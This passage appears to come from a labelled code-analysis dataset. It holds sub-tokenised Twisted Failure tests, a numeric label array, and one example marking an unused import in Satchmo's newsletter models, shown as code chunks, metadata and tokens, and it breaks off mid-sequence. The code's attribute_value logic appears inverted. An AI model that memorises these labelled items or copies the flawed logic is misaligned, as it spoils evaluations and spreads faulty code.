"\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found", "Fail", "ures_", "._", "append_", "(_", "Failure_", "._", "\\u", "find", "Failure_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "No", " ", "exception", " ", "sent", " ", "to", " ", "generat", "or", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g_", "=_", "generator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "throw", "Int", "o", "Generator_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "found", "Fail", "ures_", ",_", "[_", "f_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tw", "o", "Point", "Fiv", "e", "Fail", "ure", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "fail", "ure", "Construct", "ion", "Fin", "ds", "Origina", "l", "Failure_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Whe", "n", " ", "a", " ", "Fail", "ure", " ", "is", " ", "construct", "ed", " ", "in", " ", "the", " ", "context", " ", "of", " ", "an", " ", "exception", "\\", "10", ";", " ", " ", " ", " ", "handler", " ", "tha", "t", " ", "is", " ", "handling", " ", "an", " ", "exception", " ", "raise", "d", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "throw", "Except", "ion", "Int", "o", "Generat", "or", ",", " ", "the", " ", "new", " ", "Fail", "ure", " ", "shou", "ld", " ", "be", " ", "chained", " ", "to", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "original", " ", "Fail", "ure", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "get", "Divis", "ion", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "clean", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Fail", "ures_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "generator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "Fail", "ures_", "._", "append_", "(_", "Failure_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "No", " ", "exception", " ", "sent", " ", "to", " ", "generat", "or", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g_", "=_", "generator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "throw", "Int", "o", "Generator_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "new", "Fail", "ures_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "new", "Fail", "ures_", "[_", "0_", "]_", "._", "get", "Trace", "back_", "(_", ")_", ",_", "f_", "._", "get", "Trace", "back_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tw", "o", "Point", "Fiv", "e", "Fail", "ure", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ambiguous", "Fail", "ure", "In", "Generator_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Whe", "n", " ", "a", " ", "generat", "or", " ", "reraise", "s", " ", "a", " ", "different", " ", "exception", ",", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "Fail", "ure", ".\\u", "find", "Fail", "ure", "}", " ", "insi", "de", " ", "the", " ", "generat", "or", " ", "shou", "ld", " ", "find", " ", "the", " ", "reraise", "d", "\\", "10", ";", " ", " ", " ", " ", "exception", " ", "rat", "her", " ", "than", " ", "original", " ", "one", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "[_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Is", "Instance_", "(_", "Failure_", "(_", ")_", "._", "value_", ",_", "Index", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g_", "=_", "generator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "get", "Divis", "ion", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "throw", "Int", "o", "Generator_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tw", "o", "Point", "Fiv", "e", "Fail", "ure", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ambiguous", "Fail", "ure", "Fro", "m", "Generator_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Whe", "n", " ", "a", " ", "generat", "or", " ", "reraise", "s", " ", "a", " ", "different", " ", "exception", ",", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "Fail", "ure", ".\\u", "find", "Fail", "ure", "}", " ", "above", " ", "the", " ", "generat", "or", " ", "shou", "ld", " ", "find", " ", "the", " ", "reraise", "d", "\\", "10", ";", " ", " ", " ", " ", "exception", " ", "rat", "her", " ", "than", " ", "original", " ", "one", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g_", "=_", "generator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "get", "Divis", "ion", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "throw", "Int", "o", "Generator_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dokterbob/satchmo/satchmo/apps/satchmo_ext/newsletter/models.py
[ { "content": "from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom satchmo_store.contact.models import Contact\nimport datetime\nimport logging\n\nlog = logging.getLogger('newsletter.models')\n\n_NOTSET = object()\n\n\n\n\n \n\nimport config\nimport listeners\nlisteners.start_listening()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class NullContact(object):\n \"\"\"Simple object emulating a Contact, so that we can add users who aren't Satchmo Contacts.\n\n Note, this is *not* a Django object, and is not saved to the DB, only to the subscription lists.\n \"\"\"\n", "metadata": "root.NullContact", "header": "['module', '___EOS___']", "index": 10 }, { "content": " def __init__(self, full_name, email):\n if not full_name:\n full_name = email.split('@')[0]\n\n self.full_name = full_name\n self.email = email", "metadata": "root.NullContact.__init__", "header": "['class', 'NullContact', '(', 'object', ')', ':', '___EOS___']", "index": 16 }, { "content": "def get_contact_or_fake(full_name, email):\n \"\"\"Get a `Contact` by email or if it doesn't exist, then a `NullContact`\"\"\"\n try:\n contact = Contact.objects.get(email=email)\n\n except Contact.DoesNotExist:\n contact = NullContact(full_name, email)\n\n return contact", "metadata": "root.get_contact_or_fake", "header": "['module', '___EOS___']", "index": 23 }, { "content": "class Subscription(models.Model):\n \"\"\"A newsletter subscription.\"\"\"\n\n subscribed = models.BooleanField(_('Subscribed'), default=True)\n email = models.EmailField(_('Email'), max_length=75)\n create_date = models.DateField(_(\"Creation Date\"))\n update_date = models.DateField(_(\"Update Date\"))\n\n\n email_is_subscribed = classmethod(email_is_subscribed)\n\n\n\n\n \n", "metadata": "root.Subscription", "header": "['module', '___EOS___']", "index": 33 }, { "content": " def email_is_subscribed(cls, email):\n try:\n sub = cls.objects.get(email=email)\n return sub.subscribed\n except cls.DoesNotExist:\n return False", "metadata": "root.Subscription.email_is_subscribed", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 41 }, { "content": " def __unicode__(self):\n if self.subscribed:\n flag=\"Y\"\n else:\n flag=\"N\"\n return u\"[%s] %s\" % (flag, self.email)", "metadata": "root.Subscription.__unicode__", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 50 }, { "content": " def __repr__(self):\n return \"<Subscription: %s>\" % str(self)", "metadata": "root.Subscription.__repr__", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 57 }, { "content": " def attribute_value(self, name, value=_NOTSET):\n \"\"\"Get a value from an attribute.\"\"\"\n try:\n att = self.attributes.get(name=name)\n value = att.value\n except SubscriptionAttribute.DoesNotExist:\n if value != _NOTSET:\n raise\n\n return value", "metadata": "root.Subscription.attribute_value", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 60 }, { "content": " def save(self, **kwargs):\n if not self.pk:\n self.create_date = datetime.date.today()\n\n self.update_date = datetime.date.today()\n\n super(Subscription, self).save(**kwargs)", "metadata": "root.Subscription.save", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 71 }, { "content": " def update_attribute(self, name, value):\n \"\"\"Update or create a `SubscriptionAttribute` object with the passed `name` and `value`.\"\"\"\n value = str(value)\n try:\n att = self.attributes.get(name=name)\n att.value = value\n except SubscriptionAttribute.DoesNotExist:\n att = SubscriptionAttribute(subscription=self, name=name, value=value)\n \n att.save()\n return att", "metadata": "root.Subscription.update_attribute", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 79 }, { "content": " def update_attributes(self, attributes):\n \"\"\"Update `SubscriptionAttribute` objects from a dictionary of name val mappings.\"\"\"\n return [self.update_attribute(name, value) for name, value in attributes.items()]", "metadata": "root.Subscription.update_attributes", "header": "['class', 'Subscription', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 91 }, { "content": "class SubscriptionAttribute(models.Model):\n \"\"\"\n Allows arbitrary name/value pairs (as strings) to be attached to a subscription.\n \"\"\"\n subscription = models.ForeignKey(Subscription, related_name=\"attributes\")\n name = models.SlugField(_(\"Attribute Name\"), max_length=100, )\n value = models.CharField(_(\"Value\"), max_length=255)\n\n class Meta:\n verbose_name = _(\"Subscription Attribute\")\n verbose_name_plural = _(\"Subscription Attributes\")", "metadata": "root.SubscriptionAttribute", "header": "['module', '___EOS___']", "index": 96 } ]
[ { "span": "import config", "start_line": 108, "start_column": 0, "end_line": 108, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sat", "chm", "o", "\\u", "store_", "._", "contact_", "._", "models_", "import_", "Contact_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "newsletter", ".", "model", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "NOT", "SET_", "=_", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "listeners_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "listeners_", "._", "start", "\\u", "listen", "ing_", "(_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Null", "Contact_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Simple", " ", "object", " ", "emu", "latin", "g", " ", "a", " ", "Conta", "ct", ",", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "users", " ", "who", " ", "are", "n", "'", "t", " ", "Sat", "chm", "o", " ", "Conta", "ct", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", ",", " ", "this", " ", "is", " ", "*", "not", "*", " ", "a", " ", "Dj", "ang", "o", " ", "object", ",", " ", "and", " ", "is", " ", "not", " ", "saved", " ", "to", " ", "the", " ", "DB", ",", " ", "only", " ", "to", " ", "the", " ", "subscript", "ion", " ", "lists", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Null", "Contact_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "full", "\\u", "name_", ",_", "email_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "full", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "full", "\\u", "name_", "=_", "email_", "._", "split_", "(_", "'@'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "full", "\\u", "name_", "=_", "full", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "email_", "=_", "email_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "contact", "\\u", "or", "\\u", "fake_", "(_", "full", "\\u", "name_", ",_", "email_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "`", "Conta", "ct", "`", " ", "by", " ", "email", " ", "or", " ", "if", " ", "it", " ", "doe", "sn", "'", "t", " ", "exist", ",", " ", "then", " ", "a", " ", "`", "Null", "Conta", "ct", "`\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "contact_", "=_", "Contact_", "._", "objects_", "._", "get_", "(_", "email_", "=_", "email_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Contact_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "contact_", "=_", "Null", "Contact_", "(_", "full", "\\u", "name_", ",_", "email_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "contact_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "newsletter", " ", "subscript", "ion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "subscribed", "_", "=_", "models_", "._", "Boo", "lean", "Field_", "(_", "\\u_", "(_", "'", "Subscrib", "ed", "'_", ")_", ",_", "default_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email_", "=_", "models_", "._", "Ema", "il", "Field_", "(_", "\\u_", "(_", "'", "Ema", "il", "'_", ")_", ",_", "max", "\\u", "length_", "=_", "75_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "date_", "=_", "models_", "._", "Date", "Field_", "(_", "\\u_", "(_", "\"", "Creat", "ion", " ", "Date", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "\\u", "date_", "=_", "models_", "._", "Date", "Field_", "(_", "\\u_", "(_", "\"", "Update", " ", "Date", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "email", "\\u", "is", "\\u", "subscribed", "_", "=_", "classmethod_", "(_", "email", "\\u", "is", "\\u", "subscribed", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "email", "\\u", "is", "\\u", "subscribed", "_", "(_", "cls_", ",_", "email_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub_", "=_", "cls_", "._", "objects_", "._", "get_", "(_", "email_", "=_", "email_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "sub_", "._", "subscribed", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "cls_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "subscribed", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flag_", "=_", "\"", "Y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flag_", "=_", "\"", "N", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "u", "\"[", "%", "s", "]", " ", "%", "s", "\"_", "%_", "(_", "flag_", ",_", "self_", "._", "email_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"<", "Subscription", ":", " ", "%", "s", ">\"_", "%_", "str_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "attribute", "\\u", "value_", "(_", "self_", ",_", "name_", ",_", "value_", "=_", "\\u", "NOT", "SET_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "value", " ", "from", " ", "an", " ", "attribute", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "att_", "=_", "self_", "._", "attributes_", "._", "get_", "(_", "name_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "att_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Subscription", "Attribute_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "!=_", "\\u", "NOT", "SET_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "pk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "create", "\\u", "date_", "=_", "datetime_", "._", "date_", "._", "today_", "(_", ")_", 